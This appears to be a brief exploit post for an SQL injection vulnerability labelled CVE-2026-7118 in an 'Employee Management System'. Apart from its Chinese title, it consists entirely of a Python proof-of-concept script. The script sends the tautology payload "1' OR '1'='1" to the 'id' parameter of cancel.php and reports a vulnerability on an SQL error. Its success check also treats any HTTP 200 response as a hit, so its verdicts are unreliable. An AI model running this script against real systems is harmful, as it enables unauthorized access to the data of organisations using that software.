CVE-2026-7118 Employee Management System SQL注入漏洞

import requests # Target configuration target_url = "http://target-host/370project/cancel.php" # Vulnerable parameters based on description # Attackers can manipulate 'id' or 'token' to inject SQL payload_params = { "id": "1' OR '1'='1", # Basic SQL Injection payload "token": "arbitrary_token" } headers = { "User-Agent": "CVE-2026-7118-Scanner", "Accept": "*/*" } try: # Send malicious request response = requests.get(target_url, params=payload_params, headers=headers, timeout=10) # Check for indicators of success (e.g., SQL errors or unexpected data) if "You have an error in your SQL syntax" in response.text or response.status_code == 200: print("[+] Potential Vulnerability Detected!") print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") else: print("[-] Vulnerability not confirmed or target patched.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")